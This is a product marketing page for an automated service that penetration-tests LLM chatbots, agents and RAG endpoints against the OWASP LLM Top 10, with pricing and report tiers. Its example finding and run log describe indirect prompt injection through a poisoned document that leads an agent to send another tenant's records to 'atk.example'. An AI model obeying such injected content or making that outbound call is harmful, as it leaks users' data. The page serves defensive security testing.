Pen TestingCloud Posture Shadow-AI discoveryCI/CDContinuous PlatformReportsIdentity & accessAgent Trust Fabric
Pen Testing

AI application penetration testing

Autonomous agents test your chatbots, agents and RAG endpoints against the OWASP LLM Top 10, mapped to MITRE ATLAS. Every finding carries a reproducible proof of concept — or it isn't reported.

Start a scan Read the docs
Critical LLM01 · CWE-200 · ATLAS AML.T0051 · PoC attached
Prompt injection exfiltrates another tenant's data
Constrain the agent's tool surface on untrusted input — allowlist the callable tools, drop the outbound one, require a human on the action that leaves your boundary.
Proof of concept
POST /chat  { "q": "summarise doc-4471" }
>> tool_call: http.get("https://atk.example/?d=tenant_88.invoices")
<< 200 OK — 41 records left the boundary
replayed 7/10 trials · attack success rate 70%
Example finding — illustrative, not a customer's Draft PR
Console screenshot — finding detail with PoC
10 / 10
OWASP LLM Top 10 — mapped to CVE · CWE · CVSS · MITRE ATLAS + PoC
Minutes
to a proven finding — not weeks, like a manual pen test
$249–399
per engagement on a plan, vs. $10k–30k for a typical manual engagement — see plans
100%
of findings proven with a working exploit — no false positives
Inside a run

The agent narrates what it tried, and what came back.

run MLN-r1 · complete · budget $20 14 min · $10.24 compute
00:04recon — 11 endpoints, 3 tool surfaces, 1 RAG corpus
02:18LLM01 direct injection · refused, no finding
05:41LLM01 indirect via poisoned doc-4471 · tool call fired
06:02chained → outbound http.get · 41 records left the boundary
06:09PoC captured · replayed 7/10 · CRITICAL confirmed
13:52LLM10 unbounded consumption · ceiling held, no finding
14:002 findings reported · 9 candidates discarded, unproven

Nine things it could not prove never reach your queue. That is the whole difference.

How a scan runs
01
Point us at a target
A staging app, an API, or a connected GitHub repo for a code-aware white-box pass. Public targets require verified domain ownership before testing.
02
The agent walks the chain
It exploits what matters and walks the chain until it returns a working proof of concept or nothing at all. A per-plan budget ceiling bounds the worst case.
03
Three artifacts land
A Letter of Attestation to share, the full technical report for your engineers and your auditor, and a machine-readable twin for Vanta, Drata or Secureframe.

10 / 10, and where each one maps.

OWASP LLM Top 10 — mapped to CVE · CWE · CVSS · MITRE ATLAS + PoC
ID
Category
How we test it
LLM01
Prompt injection
Direct and indirect, including poisoned RAG documents
LLM02
Sensitive information disclosure
Cross-tenant retrieval and secrets or personal data in responses
LLM03
Supply chain
Unsafe model deserialization, unpinned model sources, and untrusted tools or MCP servers
LLM04
Data and model poisoning
Attacker-writable training data, feedback loops and retraining pipelines
LLM05
Improper output handling
Injection through model output into downstream sinks
LLM06
Excessive agency
Tool abuse, and what the agent's identity can actually reach
LLM07
System prompt leakage
Extraction attempts, and whether the prompt embeds secrets or access rules
LLM08
Vector and embedding weaknesses
Corpus poisoning and retrieval boundary tests
LLM09
Misinformation
Unsafe reliance on model output: fabricated facts, citations and hallucinated packages
LLM10
Unbounded consumption
Runaway loops and spend, against a ceiling you set

All ten classes are in every test plan; each report says which were observed, which were exercised with no finding (not proof of absence), and which were not covered. The full traceability matrix — OWASP LLM 2025 → MITRE ATLAS → NIST AI RMF / ISO 42001 / EU AI Act Art. 15 — is in the docs.

Documentation

Three documents, because three people need to read it.

Every engagement produces the same evidence in three shapes. Procurement gets something safe to forward. Engineering gets the reproduction steps. Your compliance platform gets JSON.

Tier 1

Letter of Attestation

One page, redacted by construction. Legal entity, test window, assessment type, severity counts, provider signature. No endpoints, no proof-of-concept, nothing an attacker could use. This is the document you send a customer who asked whether you pentest.

GET /api/runs/<id>/attestation
Tier 2

Full compliance report

Executive summary, rules of engagement and scope, severity distribution, every finding with its working reproduction, the framework cross-map, and a remediation roadmap phased by severity. For engineering and for auditors under NDA.

Printable A4 HTML · 13 sections
Tier 3

Machine-readable twin

The same report as JSON, control mappings included, so it lands in Vanta, Drata or Secureframe as evidence against a control instead of being re-typed by a human the week before an audit.

GET /api/runs/<id>/compliance.json

What we test to

The methodology the engagement follows and the report cites.

PTES NIST SP 800-115 OWASP WSTG OWASP LLM Top 10 2025 OWASP Top 10 for Agentic Applications MITRE ATLAS CVSS v3.1 / v4.0 CREST Defensible Pen Test

What findings map to

Every finding carries the control references your auditor already works from.

SOC 2 CC3.2–CC8.1 ISO 27001:2022 Annex A ISO 42001:2023 PCI DSS 11.3 / 11.4 HIPAA Security Rule § 164.308 / 164.312 NIST AI RMF NIST CSF 2.0 EU AI Act Art. 15 GDPR Art. 25 & 32

Those mappings are stated as evidence toward a control — never as a pass. We hold no certification of our own and we are not your auditor: a vendor that tells you it has certified you has told you something untrue. Reports are signed by the platform, and optionally counter-signed by a CREST/OSCP-certified reviewer. See what a report contains.

Pricing

Priced per engagement, not per finding.

The complete estate scan — code, website, cloud, agents and services, with one pentest scan — is free, no card. After that an engagement is one assessment against one client target, with optional review by a CREST/OSCP-certified reviewer.

Independent
$1,499 / mo
Solo pentesters & independent consultants.
  • 4 engagements / month included
  • 1 analyst seat
  • Unlimited client apps
  • Working PoC on every finding
  • Overage $399 / engagement
Request a quote
Firm
$7,999 / mo
Security firms & consultancies running a book of clients.
  • 25 engagements / month included
  • Up to 5 analyst seats
  • Unlimited client apps
  • White-label + co-brand option
  • Overage $299 / engagement
Request a quote
MSSP / Enterprise
Custom
MSSPs & managed partners. Priced on platform footprint, not engagement count. From $25–45K+ / mo.
  • Unlimited seats
  • SSO / SCIM, on-prem / BYO-key
  • Dedicated success manager
  • Engagement volume negotiated (50+ / month)
  • Volume overage from $249 / engagement
Request a quote

Every tier’s per-engagement rate is lower than the tier below it — $399, then $299, then from $249. The more you run, the less each one costs, and a solo plan passes the Firm price at about 20 engagements a month. These plans assume a book of clients. If you are securing your own applications rather than clients’, the platform is quoted on the size of your estate instead — tell us what you run.

See a real finding in the next few minutes.

Start free — no card